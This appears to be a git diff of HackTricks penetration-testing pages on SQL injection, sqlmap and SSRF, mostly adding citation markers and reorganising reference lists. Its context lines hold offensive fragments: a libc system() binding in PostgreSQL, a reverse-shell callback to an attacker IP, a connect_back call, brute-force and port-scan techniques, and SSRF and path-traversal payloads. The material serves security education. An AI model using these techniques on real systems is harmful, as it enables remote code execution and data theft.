+- [9] [33C3 CTF Writeup - Shia](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
+- [10] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+- [11] [CVE-2026-22730: SQL Injection in Spring AI's MariaDB Vector Store](https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/)
+- [12] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md
index 40a4b7b0b7a..60d42056488 100644
--- a/src/pentesting-web/sql-injection/mysql-injection/README.md
+++ b/src/pentesting-web/sql-injection/mysql-injection/README.md
@@ -203,7 +203,7 @@ mysql> select version();
This is not a classic SQL injection. When developers pass user input into `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL executes a rich set of Boolean search operators inside the quoted string. Many WAF/SAST rules only focus on quote breaking and miss this surface.[[5]](#references)
Key points:
-- Operators are evaluated inside the quotes: `+` (must include), `-` (must not include), `*` (trailing wildcard), `"..."` (exact phrase), `()` (grouping), `<`/`>`/`~` (weights). See MySQL docs.[[2]](#references)
+- Operators are evaluated inside the quotes: `+` (must include), `-` (must not include), `*` (trailing wildcard), `"..."` (exact phrase), `()` (grouping), `<`/`>`/`~` (weights). See MySQL docs.[[2]](#references)[[3]](#references)
- This allows presence/absence and prefix tests without breaking out of the string literal, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` to check for any term starting with `admin`.
- Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion.
@@ -278,4 +278,3 @@ dimension: id {
- [10] [Blind SQL Injection without an 'in'](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
{{#include ../../../banners/hacktricks-training.md}}
-
diff --git a/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md b/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
index 316cbf4b221..69371bffb18 100644
--- a/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
+++ b/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
@@ -31,6 +31,3 @@ Automation of these processes can be facilitated by tools such as SQLMap, which
- [1] [Using SQL Injection to perform SSRF/XSPA attacks](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/README.md b/src/pentesting-web/sql-injection/postgresql-injection/README.md
index ef020bdd29f..5e0fe0781c1 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/README.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/README.md
@@ -5,7 +5,7 @@
---
-**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
+**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)[[1]](#references)
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
@@ -88,7 +88,8 @@ SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
+## References
-{{#include ../../../banners/hacktricks-training.md}}
-
+- [1] [PayloadsAllTheThings – PostgreSQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md b/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
index b1a6e9f9219..620240e22e7 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
@@ -106,7 +106,7 @@ Useful notes:
- This makes them more practical than direct `INSERT`/`UPDATE` against `pg_largeobject` when automating large uploads.
- Recent PostgreSQL SQLi research used this exact `lo_create`/`lo_put`/`lo_export` pattern to stage native modules and config-file rewrites without relying on stacked queries.[[2]](#references)
-If the injection only accepts a **scalar `SELECT` slot**, wrap the side effect in a nested subquery so the payload still parses:
+If the injection only accepts a **scalar `SELECT` slot**, wrap the side effect in a nested subquery so the payload still parses:[[2]](#references)
```sql
(SELECT 1 FROM (SELECT lo_put(173454, 0, decode('', 'hex'))) AS _)
@@ -123,19 +123,18 @@ Another practical trick for restrictive `CASE`/`ORDER BY` sinks is wrapping `lo_
SELECT lo_put(173454, 4096, decode('', 'hex'));
```
-This is handy when tweaking only a PE/ELF header, a config file, or a previously imported file before exporting it back to disk.
+This is handy when tweaking only a PE/ELF header, a config file, or a previously imported file before exporting it back to disk.[[2]](#references)
## Limitations
-- Since **PostgreSQL 9.0**, large objects have an owner and ACLs. `SELECT` on the large object allows reading it, and `UPDATE` allows writing or truncating it.
+- Since **PostgreSQL 9.0**, large objects have an owner and ACLs. `SELECT` on the large object allows reading it, and `UPDATE` allows writing or truncating it.[[1]](#references)
- Enumerating large objects is usually done via `pg_largeobject_metadata`; modern versions do not keep `pg_largeobject` world-readable like older releases did.
- `lo_import` and `lo_export` access the **server** file system as the PostgreSQL OS user, so by default they are restricted to superusers. If a lower-privileged role has them granted, that is often close to arbitrary file read/write as `postgres`.
- If `lo_compat_privileges` is enabled, the post-9.0 large-object privilege checks are disabled for compatibility, which can re-open legacy read/write behavior on misconfigured targets.
-
-
## References
- [1] [PostgreSQL official documentation - Server-Side Functions](https://www.postgresql.org/docs/current/lo-funcs.html)
- [2] [Lexfo / Ambionics - Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html)
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md b/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md
index 86fe227edf1..ef4ee9382c0 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md
@@ -4,13 +4,10 @@
**This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.**[[1]](#references)
-**Check the solution from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
+**Check the solution from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)[[1]](#references)
## References
- [1] [PDKT-Team - FBCTF 2019 hr_admin_module writeup](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
index 1a2cc583f8e..b94122e83c7 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
@@ -14,7 +14,7 @@ Once you have dblink loaded you could be able to perform some interesting tricks
### Privilege Escalation
-The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like:
+The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like:[[1]](#references)
```
local all all trust
@@ -50,7 +50,7 @@ SELECT * FROM dblink('host=127.0.0.1
### Port Scanning
-Abusing `dblink_connect` you could also **search open ports**. If that **function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_.
+Abusing `dblink_connect` you could also **search open ports**. If that **function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_.[[1]](#references)
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
@@ -110,9 +110,6 @@ SELECT testfunc();
## References
-- [1] [Having Fun With PostgreSQL (Leidecker)](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)
+- [1] [Having Fun With PostgreSQL](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md b/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
index 7de0193894b..c71ad56b072 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
@@ -38,7 +38,7 @@ CREATE EXTENSION dblink;
## Password Brute Force
-Here how you could perform a 4 chars password bruteforce:
+Here how you could perform a 4 chars password bruteforce:[[1]](#references)
```sql
//Create the brute-force function
@@ -120,9 +120,6 @@ select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
## References
-- [1] [Having Fun With PostgreSQL - Nico Leidecker](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)
+- [1] [Having Fun With PostgreSQL](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
index 8f9f4cd4baf..94c41d618c8 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
@@ -12,9 +12,9 @@ Also, keep in mind that **if you don't know how to** [**upload files to the vict
### RCE in Linux
-**For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
+**For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**[[1]](#references)
-The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).[[1]](#references)
+The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).[[1]](#references)[[2]](#references)
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
@@ -79,7 +79,7 @@ ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magi
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
-This error is explained in the [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
+This error is explained in the [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):[[3]](#references)
> To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
>
@@ -87,7 +87,7 @@ This error is explained in the [PostgreSQL documentation](https://www.postgresql
> `PG_MODULE_MAGIC;`\
> `#endif`
-Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.[[1]](#references)
+Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.[[1]](#references)[[2]](#references)
#### Compile the library
@@ -195,7 +195,7 @@ SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
-In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:[[3]](#references)
+In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:[[4]](#references)
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
@@ -289,7 +289,7 @@ In the **latest versions** of PostgreSQL, restrictions have been imposed where t
Despite these restrictions, it's possible for an authenticated database `superuser` to **write binary files** to the filesystem using "large objects." This capability extends to writing within the `C:\Program Files\PostgreSQL\11\data` directory, which is essential for database operations like updating or creating tables.
-A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.[[4]](#references)
+A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.[[5]](#references)
#### Attack flow
@@ -309,9 +309,9 @@ select connect_back('192.168.100.54', 1234);
_Note that you don't need to append the `.dll` extension as the create function will add it._
-For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
+For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\
-In the same page this **exploit to automate** this technique was given:[[4]](#references)
+In the same page this **exploit to automate** this technique was given:[[5]](#references)
```python
#!/usr/bin/env python3
@@ -355,7 +355,8 @@ print(" drop function connect_back(text, integer);")
- [1] [PostgreSQL 9.x Remote Command Execution](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
- [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084)
-- [3] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)
-- [4] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)
+- [3] [PostgreSQL documentation - C-Language Functions](https://www.postgresql.org/docs/current/static/xfunc-c.html)
+- [4] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)
+- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
index 8f0f1080394..587f042baf5 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
@@ -328,5 +328,3 @@ rce-with-postgresql-extensions.md
- [1] [Installing Untrusted PL/Ruby for PostgreSQL](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md
index 782e59816e8..a5b86c39972 100644
--- a/src/pentesting-web/sql-injection/sqlmap.md
+++ b/src/pentesting-web/sql-injection/sqlmap.md
@@ -26,7 +26,7 @@
### Technique flags (`--technique`)
The `--technique` argument defines which SQL injection methods sqlmap will attempt.
-Each character in the string represents a technique:
+Each character in the string represents a technique:[[2]](#references)
| Letter | Technique | Description |
| ------ | --------- | ----------- |
@@ -217,15 +217,16 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
## Recent switches worth enabling (>=1.9.x)
-* **HTTP/2 transport**: `--http2` forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with `--force-ssl` to pin HTTPS.[[2]](#references)
-* **Proxy rotation**: `--proxy-file proxies.txt --proxy-freq 3` will rotate through a list, changing proxy every 3 requests to avoid IP-based throttling.
+* **HTTP/2 transport**: `--http2` forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with `--force-ssl` to pin HTTPS.[[4]](#references)
+* **Proxy rotation**: `--proxy-file proxies.txt --proxy-freq 3` will rotate through a list, changing proxy every 3 requests to avoid IP-based throttling.[[1]](#references)
* **Offline / purge modes**: `--offline` reuses cached session data without touching the target (zero network traffic), while `--purge` securely wipes the session/output directory when you’re done.
* **Mobile UA emulation**: `--mobile` prompts you to spoof a popular smartphone User-Agent, useful on APIs that expose additional fields to mobile clients.
## References
- [1] [SQLMap Usage Wiki](https://github.com/sqlmapproject/sqlmap/wiki/usage)
-- [2] [SQLMap Command Builder (flags summary incl. HTTP/2)](https://vizzdoom.github.io/sqlmap-command-builder/)
+- [2] [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
- [3] [luanginxmore tamper (sqlmap GitHub)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/tamper/luanginxmore.py)
+- [4] [SQLMap Command Builder (flags summary incl. HTTP/2)](https://vizzdoom.github.io/sqlmap-command-builder/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md
index 8a0f208363d..550f8df4884 100644
--- a/src/pentesting-web/sql-injection/sqlmap/README.md
+++ b/src/pentesting-web/sql-injection/sqlmap/README.md
@@ -40,7 +40,7 @@ Each letter corresponds to a different class of payloads:
| Q | Inline / out-of-band | Utilises functions such as `LOAD_FILE()` or DNS exfiltration to extract data |
The default order that sqlmap will follow is `BEUSTQ` (all techniques).
-You can change both the order and the subset. For instance, the following command will **only** attempt UNION query and Time-based blind techniques, trying UNION first:
+You can change both the order and the subset. For instance, the following command will **only** attempt UNION query and Time-based blind techniques, trying UNION first:[[1]](#references)
```bash
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
@@ -255,5 +255,3 @@ Remember that **you can create your own tamper in python** and it's very simple.
{{#include ../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md b/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md
index a6149df6505..990814956ef 100644
--- a/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md
+++ b/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md
@@ -129,7 +129,7 @@ def postprocess(page, headers=None, code=None):
- Do **not assume** that `--second-req` will replay the same payload inside a `*` placeholder in the second request. If the trigger request also needs the injected value (or a derived version of it), a custom `tamper`, `--preprocess`, or a local proxy is usually required.
- Do **not rely on** `--eval` for the second request. Official usage documents `--eval` for the primary request flow; if the second request also needs per-attempt mutations, handle them inside your helper scripts instead.[[1]](#references)
-This pattern is especially useful when the payload is stored in places such as:
+This pattern is especially useful when the payload is stored in places such as:[[2]](#references)
- Filenames or image metadata that are queried later
- Registration/profile fields later consumed by admin panels
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
index 6f89bdefb7d..462b25b08fa 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
@@ -32,7 +32,7 @@ url-format-bypass.md
### Bypass via open redirect
If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.\
-Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
+Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)[[14]](#references)
## Protocols
@@ -47,7 +47,7 @@ Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.
- **LDAP://**
- This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
- - A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.
+ - A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.[[1]](#references)[[2]](#references)
```
From https://twitter.com/har1sec/status/1182255952055164929
@@ -58,7 +58,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
```
- **Curl URL globbing - WAF bypass**
- - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:[[12]](#references)
+ - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:[[13]](#references)[[15]](#references)
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
@@ -363,7 +363,7 @@ Attack:
Note that during this attack, if you want to attack localhost:11211 (_memcache_) you need to make the victim establish the initial connection with www.attacker.com:11211 (the **port must always be the same**).\
To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
-For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
+For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)[[16]](#references)
## Blind SSRF
@@ -375,7 +375,7 @@ The difference between a blind SSRF and a not blind one is that in the blind you
### From blid to full abusing status codes
-According to this [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.[[13]](#references)
+According to this [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.[[12]](#references)
However, it as found that sending some redirecs responses from 305 to 309 in the SSRF it might possible to makethen application **follow these redirects while entering an error mode** that no longer will check the format of the data and might just print it.
@@ -430,9 +430,9 @@ Hardeners should strip external URLs before rendering or isolate the renderer in
## Filename mini-languages as SSRF/file primitives (CFITSIO EFS)
-Some libraries treat a **filename** as a **mini-language** instead of a literal path. When untrusted input reaches these parsers, the sink stops being “open a file” and becomes “interpret a DSL that can select protocols, filters, output paths, and transformations”. Treat these APIs like SSRF-capable interpreters, not like safe file open calls.[[9]](#references)
+Some libraries treat a **filename** as a **mini-language** instead of a literal path. When untrusted input reaches these parsers, the sink stops being “open a file” and becomes “interpret a DSL that can select protocols, filters, output paths, and transformations”. Treat these APIs like SSRF-capable interpreters, not like safe file open calls.
-A good example is **CFITSIO Extended Filename Syntax (EFS)**. Passing attacker-controlled input to EFS-aware APIs such as `fits_open_file()` may expose several chained primitives:[[10]](#references)
+A good example is **CFITSIO Extended Filename Syntax (EFS)**. Passing attacker-controlled input to EFS-aware APIs such as `fits_open_file()` may expose several chained primitives:[[9]](#references)[[10]](#references)
- **Persistent SSRF / forced download**: URL-like prefixes (`http://`, `https://`, `ftp://`, `ftps://`) make CFITSIO fetch remote content. The **outfile** syntax then writes the response body to a local path controlled by the attacker:
@@ -528,15 +528,18 @@ https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
- [1] [SSRF Payloads](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
- [2] [PayloadsAllTheThings - Server Side Request Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
- [3] [SSRF Vulnerabilities Caused by SNI Proxy Misconfigurations](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
-- [4] [Exploiting HTTP Parsers Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
+- [4] [Exploiting HTTP Parsers' Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [5] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
- [6] [Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk](https://www.tenable.com/blog/tenable-discovers-ssrf-vulnerability-in-java-tls-handshakes-that-creates-dos-risk)
- [7] [RFC 5280 §4.2.2.1 Authority Information Access](https://datatracker.ietf.org/doc/html/rfc5280#section-4.2.2.1)
- [8] [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/)
- [9] [When Filenames Become Attack Surfaces: Weaponizing NASA's CFITSIO Extended Filename Syntax](https://blog.doyensec.com/2026/05/19/cfitsio-weaponized-filenames.html)
- [10] [CFITSIO's Extended Filename Syntax - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/filters.html)
-- [11] [CFITSIO FITS File Access Routines (fits_open_diskfile, fits_open_datafile) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html)
-- [12] [SECCON CTF 2022 Quals - easylfi writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)
-- [13] [Novel SSRF Technique Involving HTTP Redirect Loops](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/)
+- [11] [CFITSIO FITS File Access Routines (`fits_open_diskfile`, `fits_open_datafile`) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html)
+- [12] [Novel SSRF Technique Involving HTTP Redirect Loops - Assetnote Security Research Center](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/)
+- [13] [SECCON CTF 2022 Quals - easylfi writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)
+- [14] [PortSwigger - Web Security - Ssrf](https://portswigger.net/web-security/ssrf)
+- [15] [everything.curl.dev - URL globbing](https://everything.curl.dev/cmdline/globbing)
+- [16] [youtube.com - Watch](https://www.youtube.com/watch?v=qGpAJxfADjo)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
index 3f650a7aebd..c7d33312f59 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
@@ -118,7 +118,7 @@ Recent EKS clusters can use **Pod Identity** instead of the older ECS-style rela
- `AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials`
- `AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token`
